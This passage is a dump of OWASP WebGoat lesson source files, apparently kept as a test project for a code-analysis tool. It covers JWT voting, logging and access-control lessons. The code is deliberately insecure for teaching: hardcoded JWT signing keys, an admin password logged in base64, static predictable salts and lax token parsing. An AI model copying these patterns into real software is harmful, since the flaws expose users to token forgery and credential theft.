(WEBGOAT_USER.equalsIgnoreCase(user)) {\n          return success(this).build();\n        } else {\n          return failed(this).feedback(\"jwt-secret-incorrect-user\").feedbackArgs(user).build();\n        }\n      }\n    } catch (Exception e) {\n      return failed(this).feedback(\"jwt-invalid-token\").output(e.getMessage()).build();\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/jwt/JWTVotesEndpoint.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.jwt;\n\nimport static java.util.Comparator.comparingLong;\nimport static java.util.Optional.ofNullable;\nimport static java.util.stream.Collectors.toList;\n\nimport io.jsonwebtoken.Claims;\nimport io.jsonwebtoken.Jwt;\nimport io.jsonwebtoken.JwtException;\nimport io.jsonwebtoken.Jwts;\nimport io.jsonwebtoken.impl.TextCodec;\nimport java.time.Duration;\nimport java.time.Instant;\nimport java.util.Date;\nimport java.util.HashMap;\nimport java.util.Map;\nimport javax.annotation.PostConstruct;\nimport javax.servlet.http.Cookie;\nimport javax.servlet.http.HttpServletResponse;\nimport org.apache.commons.lang3.StringUtils;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.owasp.webgoat.lessons.jwt.votes.Views;\nimport org.owasp.webgoat.lessons.jwt.votes.Vote;\nimport org.springframework.http.HttpStatus;\nimport org.springframework.http.MediaType;\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.http.converter.json.MappingJacksonValue;\nimport org.springframework.web.bind.annotation.CookieValue;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PathVariable;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.ResponseStatus;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * @author nbaars\n * @since 4/23/17.\n */\n@RestController\n@AssignmentHints({\n  \"jwt-change-token-hint1\",\n  \"jwt-change-token-hint2\",\n  \"jwt-change-token-hint3\",\n  \"jwt-change-token-hint4\",\n  \"jwt-change-token-hint5\"\n})\npublic class JWTVotesEndpoint extends AssignmentEndpoint {\n\n  public static final String JWT_PASSWORD = TextCodec.BASE64.encode(\"victory\");\n  private static String validUsers = \"TomJerrySylvester\";\n\n  private static int totalVotes = 38929;\n  private Map<String, Vote> votes = new HashMap<>();\n\n  @PostConstruct\n  public void initVotes() {\n    votes.put(\n        \"Admin lost password\",\n        new Vote(\n            \"Admin lost password\",\n            \"In this challenge you will need to help the admin and find the password in order to\"\n                + \" login\",\n            \"challenge1-small.png\",\n            \"challenge1.png\",\n            36000,\n            totalVotes));\n    votes.put(\n        \"Vote for your favourite\",\n        new Vote(\n            \"Vote for your favourite\",\n            \"In this challenge ...\",\n            \"challenge5-small.png\",\n            \"challenge5.png\",\n            30000,\n            totalVotes));\n    votes.put(\n        \"Get it for free\",\n        new Vote(\n            \"Get it for free\",\n            \"The objective for this challenge is to buy a Samsung phone for free.\",\n            \"challenge2-small.png\",\n            \"challenge2.png\",\n            20000,\n            totalVotes));\n    votes.put(\n        \"Photo comments\",\n        new Vote(\n            \"Photo comments\",\n            \"n this challenge you can comment on the photo you will need to find the flag\"\n                + \" somewhere.\",\n            \"challenge3-small.png\",\n            \"challenge3.png\",\n            10000,\n            totalVotes));\n  }\n\n  @GetMapping(\"/JWT/votings/login\")\n  public void login(@RequestParam(\"user\") String user, HttpServletResponse response) {\n    if (validUsers.contains(user)) {\n      Claims claims = Jwts.claims().setIssuedAt(Date.from(Instant.now().plus(Duration.ofDays(10))));\n      claims.put(\"admin\", \"false\");\n      claims.put(\"user\", user);\n      String token =\n          Jwts.builder()\n              .setClaims(claims)\n              .signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD)\n              .compact();\n      Cookie cookie = new Cookie(\"access_token\", token);\n      response.addCookie(cookie);\n      response.setStatus(HttpStatus.OK.value());\n      response.setContentType(MediaType.APPLICATION_JSON_VALUE);\n    } else {\n      Cookie cookie = new Cookie(\"access_token\", \"\");\n      response.addCookie(cookie);\n      response.setStatus(HttpStatus.UNAUTHORIZED.value());\n      response.setContentType(MediaType.APPLICATION_JSON_VALUE);\n    }\n  }\n\n  @GetMapping(\"/JWT/votings\")\n  @ResponseBody\n  public MappingJacksonValue getVotes(\n      @CookieValue(value = \"access_token\", required = false) String accessToken) {\n    MappingJacksonValue value =\n        new MappingJacksonValue(\n            votes.values().stream()\n                .sorted(comparingLong(Vote::getAverage).reversed())\n                .collect(toList()));\n    if (StringUtils.isEmpty(accessToken)) {\n      value.setSerializationView(Views.GuestView.class);\n    } else {\n      try {\n        Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);\n        Claims claims = (Claims) jwt.getBody();\n        String user = (String) claims.get(\"user\");\n        if (\"Guest\".equals(user) || !validUsers.contains(user)) {\n          value.setSerializationView(Views.GuestView.class);\n        } else {\n          value.setSerializationView(Views.UserView.class);\n        }\n      } catch (JwtException e) {\n        value.setSerializationView(Views.GuestView.class);\n      }\n    }\n    return value;\n  }\n\n  @PostMapping(value = \"/JWT/votings/{title}\")\n  @ResponseBody\n  @ResponseStatus(HttpStatus.ACCEPTED)\n  public ResponseEntity<?> vote(\n      @PathVariable String title,\n      @CookieValue(value = \"access_token\", required = false) String accessToken) {\n    if (StringUtils.isEmpty(accessToken)) {\n      return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();\n    } else {\n      try {\n        Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);\n        Claims claims = (Claims) jwt.getBody();\n        String user = (String) claims.get(\"user\");\n        if (!validUsers.contains(user)) {\n          return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();\n        } else {\n          ofNullable(votes.get(title)).ifPresent(v -> v.incrementNumberOfVotes(totalVotes));\n          return ResponseEntity.accepted().build();\n        }\n      } catch (JwtException e) {\n        return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();\n      }\n    }\n  }\n\n  @PostMapping(\"/JWT/votings\")\n  @ResponseBody\n  public AttackResult resetVotes(\n      @CookieValue(value = \"access_token\", required = false) String accessToken) {\n    if (StringUtils.isEmpty(accessToken)) {\n      return failed(this).feedback(\"jwt-invalid-token\").build();\n    } else {\n      try {\n        Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);\n        Claims claims = (Claims) jwt.getBody();\n        boolean isAdmin = Boolean.valueOf(String.valueOf(claims.get(\"admin\")));\n        if (!isAdmin) {\n          return failed(this).feedback(\"jwt-only-admin\").build();\n        } else {\n          votes.values().forEach(vote -> vote.reset());\n          return success(this).build();\n        }\n      } catch (JwtException e) {\n        return failed(this).feedback(\"jwt-invalid-token\").output(e.toString()).build();\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/jwt/votes/Views.java",
    "content": "package org.owasp.webgoat.lessons.jwt.votes;\n\n/**\n * @author nbaars\n * @since 4/30/17.\n */\npublic class Views {\n  public interface GuestView {}\n\n  public interface UserView extends GuestView {}\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/jwt/votes/Vote.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.jwt.votes;\n\nimport com.fasterxml.jackson.annotation.JsonView;\nimport lombok.Getter;\n\n/**\n * @author nbaars\n * @since 5/2/17.\n */\n@Getter\npublic class Vote {\n  @JsonView(Views.GuestView.class)\n  private final String title;\n\n  @JsonView(Views.GuestView.class)\n  private final String information;\n\n  @JsonView(Views.GuestView.class)\n  private final String imageSmall;\n\n  @JsonView(Views.GuestView.class)\n  private final String imageBig;\n\n  @JsonView(Views.UserView.class)\n  private int numberOfVotes;\n\n  @JsonView(Views.UserView.class)\n  private boolean votingAllowed = true;\n\n  @JsonView(Views.UserView.class)\n  private long average = 0;\n\n  public Vote(\n      String title,\n      String information,\n      String imageSmall,\n      String imageBig,\n      int numberOfVotes,\n      int totalVotes) {\n    this.title = title;\n    this.information = information;\n    this.imageSmall = imageSmall;\n    this.imageBig = imageBig;\n    this.numberOfVotes = numberOfVotes;\n    this.average = calculateStars(totalVotes);\n  }\n\n  public void incrementNumberOfVotes(int totalVotes) {\n    this.numberOfVotes = this.numberOfVotes + 1;\n    this.average = calculateStars(totalVotes);\n  }\n\n  public void reset() {\n    this.numberOfVotes = 1;\n    this.average = 1;\n  }\n\n  private long calculateStars(int totalVotes) {\n    return Math.round(((double) numberOfVotes / (double) totalVotes) * 4);\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/lessontemplate/LessonTemplate.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.lessontemplate;\n\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.springframework.stereotype.Component;\n\n@Component\npublic class LessonTemplate extends Lesson {\n\n  @Override\n  public Category getDefaultCategory() {\n    return Category.GENERAL;\n  }\n\n  @Override\n  public String getTitle() {\n    return \"lesson-template.title\";\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/lessontemplate/SampleAttack.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.lessontemplate;\n\nimport java.util.List;\nimport lombok.AllArgsConstructor;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.owasp.webgoat.container.session.UserSessionData;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PathVariable;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n/** Created by jason on 1/5/17. */\n@RestController\n@AssignmentHints({\"lesson-template.hints.1\", \"lesson-template.hints.2\", \"lesson-template.hints.3\"})\npublic class SampleAttack extends AssignmentEndpoint {\n\n  String secretValue = \"secr37Value\";\n\n  // UserSessionData is bound to session and can be used to persist data across multiple assignments\n  @Autowired UserSessionData userSessionData;\n\n  @PostMapping(\"/lesson-template/sample-attack\")\n  @ResponseBody\n  public AttackResult completed(\n      @RequestParam(\"param1\") String param1, @RequestParam(\"param2\") String param2) {\n    if (userSessionData.getValue(\"some-value\") != null) {\n      // do any session updating you want here ... or not, just comment/example here\n      // return failed().feedback(\"lesson-template.sample-attack.failure-2\").build());\n    }\n\n    // overly simple example for success. See other existing lesssons for ways to detect 'success'\n    // or 'failure'\n    if (secretValue.equals(param1)) {\n      return success(this)\n          .output(\"Custom Output ...if you want, for success\")\n          .feedback(\"lesson-template.sample-attack.success\")\n          .build();\n      // lesson-template.sample-attack.success is defined in\n      // src/main/resources/i18n/WebGoatLabels.properties\n    }\n\n    // else\n    return failed(this)\n        .feedback(\"lesson-template.sample-attack.failure-2\")\n        .output(\n            \"Custom output for this failure scenario, usually html that will get rendered directly\"\n                + \" ... yes, you can self-xss if you want\")\n        .build();\n  }\n\n  @GetMapping(\"lesson-template/shop/{user}\")\n  @ResponseBody\n  public List<Item> getItemsInBasket(@PathVariable(\"user\") String user) {\n    return List.of(\n        new Item(\"WG-1\", \"WebGoat promo\", 12.0), new Item(\"WG-2\", \"WebGoat sticker\", 0.00));\n  }\n\n  @AllArgsConstructor\n  private class Item {\n    private String number;\n    private String description;\n    private double price;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/logging/LogBleedingTask.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.logging;\n\nimport java.nio.charset.StandardCharsets;\nimport java.util.Base64;\nimport java.util.UUID;\nimport javax.annotation.PostConstruct;\nimport org.apache.logging.log4j.util.Strings;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\npublic class LogBleedingTask extends AssignmentEndpoint {\n\n  Logger log = LoggerFactory.getLogger(this.getClass().getName());\n  private String password;\n\n  @PostConstruct\n  public void generatePassword() {\n    password = UUID.randomUUID().toString();\n    log.info(\n        \"Password for admin: {}\",\n        Base64.getEncoder().encodeToString(password.getBytes(StandardCharsets.UTF_8)));\n  }\n\n  @PostMapping(\"/LogSpoofing/log-bleeding\")\n  @ResponseBody\n  public AttackResult completed(@RequestParam String username, @RequestParam String password) {\n    if (Strings.isEmpty(username) || Strings.isEmpty(password)) {\n      return failed(this).output(\"Please provide username (Admin) and password\").build();\n    }\n\n    if (username.equals(\"Admin\") && password.equals(this.password)) {\n      return success(this).build();\n    }\n\n    return failed(this).build();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/logging/LogSpoofing.java",
    "content": "package org.owasp.webgoat.lessons.logging;\n\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.springframework.stereotype.Component;\n\n/**\n * ************************************************************************************************\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n *\n * <p>Copyright (c) 2002 - 2014 Bruce Mayhew\n *\n * <p>This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;\n * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * <p>You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * <p>Getting Source ==============\n *\n * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository\n * for free software projects.\n *\n * <p>\n *\n * @author WebGoat\n * @version $Id: $Id\n * @since October 12, 2016\n */\n@Component\npublic class LogSpoofing extends Lesson {\n  @Override\n  public Category getDefaultCategory() {\n    return Category.A9;\n  }\n\n  @Override\n  public String getTitle() {\n    return \"logging.title\";\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/logging/LogSpoofingTask.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.logging;\n\nimport org.apache.logging.log4j.util.Strings;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\npublic class LogSpoofingTask extends AssignmentEndpoint {\n\n  @PostMapping(\"/LogSpoofing/log-spoofing\")\n  @ResponseBody\n  public AttackResult completed(@RequestParam String username, @RequestParam String password) {\n    if (Strings.isEmpty(username)) {\n      return failed(this).output(username).build();\n    }\n    username = username.replace(\"\\n\", \"<br/>\");\n    if (username.contains(\"<p>\") || username.contains(\"<div>\")) {\n      return failed(this).output(\"Try to think of something simple \").build();\n    }\n    if (username.indexOf(\"<br/>\") < username.indexOf(\"admin\")) {\n      return success(this).output(username).build();\n    }\n    return failed(this).output(username).build();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/missingac/DisplayUser.java",
    "content": "package org.owasp.webgoat.lessons.missingac;\n\nimport java.nio.charset.StandardCharsets;\nimport java.security.MessageDigest;\nimport java.util.Base64;\nimport lombok.Getter;\n\n/**\n * ************************************************************************************************\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n *\n * <p>Copyright (c) 2002 - 2014 Bruce Mayhew\n *\n * <p>This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;\n * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * <p>You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * <p>Getting Source ==============\n *\n * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository\n * for free software projects.\n *\n * <p>\n */\n@Getter\npublic class DisplayUser {\n  // intended to provide a display version of WebGoatUser for admins to view user attributes\n\n  private String username;\n  private boolean admin;\n  private String userHash;\n\n  public DisplayUser(User user, String passwordSalt) {\n    this.username = user.getUsername();\n    this.admin = user.isAdmin();\n\n    try {\n      this.userHash = genUserHash(user.getUsername(), user.getPassword(), passwordSalt);\n    } catch (Exception ex) {\n      this.userHash = \"Error generating user hash\";\n    }\n  }\n\n  protected String genUserHash(String username, String password, String passwordSalt)\n      throws Exception {\n    MessageDigest md = MessageDigest.getInstance(\"SHA-256\");\n    // salting is good, but static & too predictable ... short too for a salt\n    String salted = password + passwordSalt + username;\n    // md.update(salted.getBytes(\"UTF-8\")); // Change this to \"UTF-16\" if needed\n    byte[] hash = md.digest(salted.getBytes(StandardCharsets.UTF_8));\n    return Base64.getEncoder().encodeToString(hash);\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/missingac/MissingAccessControlUserRepository.java",
    "content": "package org.owasp.webgoat.lessons.missingac;\n\nimport java.util.List;\nimport org.owasp.webgoat.container.LessonDataSource;\nimport org.springframework.jdbc.core.RowMapper;\nimport org.springframework.jdbc.core.namedparam.MapSqlParameterSource;\nimport org.springframework.jdbc.core.namedparam.NamedParameterJdbcTemplate;\nimport org.springframework.stereotype.Component;\nimport org.springframework.util.CollectionUtils;\n\n@Component\npublic class MissingAccessControlUserRepository {\n\n  private final NamedParameterJdbcTemplate jdbcTemplate;\n  private final RowMapper<User> mapper =\n      (rs, rowNum) ->\n          new User(rs.getString(\"username\"), rs.getString(\"password\"), rs.getBoolean(\"admin\"));\n\n  public MissingAccessControlUserRepository(LessonDataSource lessonDataSource) {\n    this.jdbcTemplate = new NamedParameterJdbcTemplate(lessonDataSource);\n  }\n\n  public List<User> findAllUsers() {\n    return jdbcTemplate.query(\"select username, password, admin from access_control_users\", mapper);\n  }\n\n  public User findByUsername(String username) {\n    var users =\n        jdbcTemplate.query(\n            \"select username, password, admin from access_control_users where username=:username\",\n            new MapSqlParameterSource().addValue(\"username\", username),\n            mapper);\n    if (CollectionUtils.isEmpty(users)) {\n      return null;\n    }\n    return users.get(0);\n  }\n\n  public User save(User user) {\n    jdbcTemplate.update(\n        \"INSERT INTO access_control_users(username, password, admin)\"\n            + \" VALUES(:username,:password,:admin)\",\n        new MapSqlParameterSource()\n            .addValue(\"username\", user.getUsername())\n            .addValue(\"password\", user.getPassword())\n            .addValue(\"admin\", user.isAdmin()));\n    return user;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionAC.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.missingac;\n\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.springframework.stereotype.Component;\n\n@Component\npublic class MissingFunctionAC extends Lesson {\n\n  public static final String PASSWORD_SALT_SIMPLE = \"DeliberatelyInsecure1234\";\n  public static final String PASSWORD_SALT_ADMIN = \"DeliberatelyInsecure1235\";\n\n  @Override\n  public Category getDefaultCategory() {\n    return Category.A1;\n  }\n\n  @Override\n  public String getTitle() {\n    return \"missing-function-access-control.title\";\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACHiddenMenus.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.missingac;\n\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n/** Created by jason on 1/5/17. */\n@RestController\n@AssignmentHints({\n  \"access-control.hidden-menus.hint1\",\n  \"access-control.hidden-menus.hint2\",\n  \"access-control.hidden-menus.hint3\"\n})\npublic class MissingFunctionACHiddenMenus extends AssignmentEndpoint {\n\n  @PostMapping(\n      path = \"/access-control/hidden-menu\",\n      produces = {\"application/json\"})\n  @ResponseBody\n  public AttackResult completed(String hiddenMenu1, String hiddenMenu2) {\n    if (hiddenMenu1.equals(\"Users\") && hiddenMenu2.equals(\"Config\")) {\n      return success(this).output(\"\").feedback(\"access-control.hidden-menus.success\").build();\n    }\n\n    if (hiddenMenu1.equals(\"Config\") && hiddenMenu2.equals(\"Users\")) {\n      return failed(this).output(\"\").feedback(\"access-control.hidden-menus.close\").build();\n    }\n\n    return failed(this).feedback(\"access-control.hidden-menus.failure\").output(\"\").build();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/missingac/MissingFunctionACUsers.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.missingac;\n\nimport static org.owasp.webgoat.lessons.missingac.MissingFunctionAC.PASSWORD_SALT_ADMIN;\nimport static org.owasp.webgoat.lessons.missingac.MissingFunctionAC.PASSWORD_SALT_SIMPLE;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.stream.Collectors;\nimport lombok.AllArgsConstructor;\nimport lombok.extern.slf4j.Slf4j;\nimport org.owasp.webgoat.container.session.WebSession;\nimport org.springframework.http.HttpStatus;\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.stereotype.Controller;\nimport 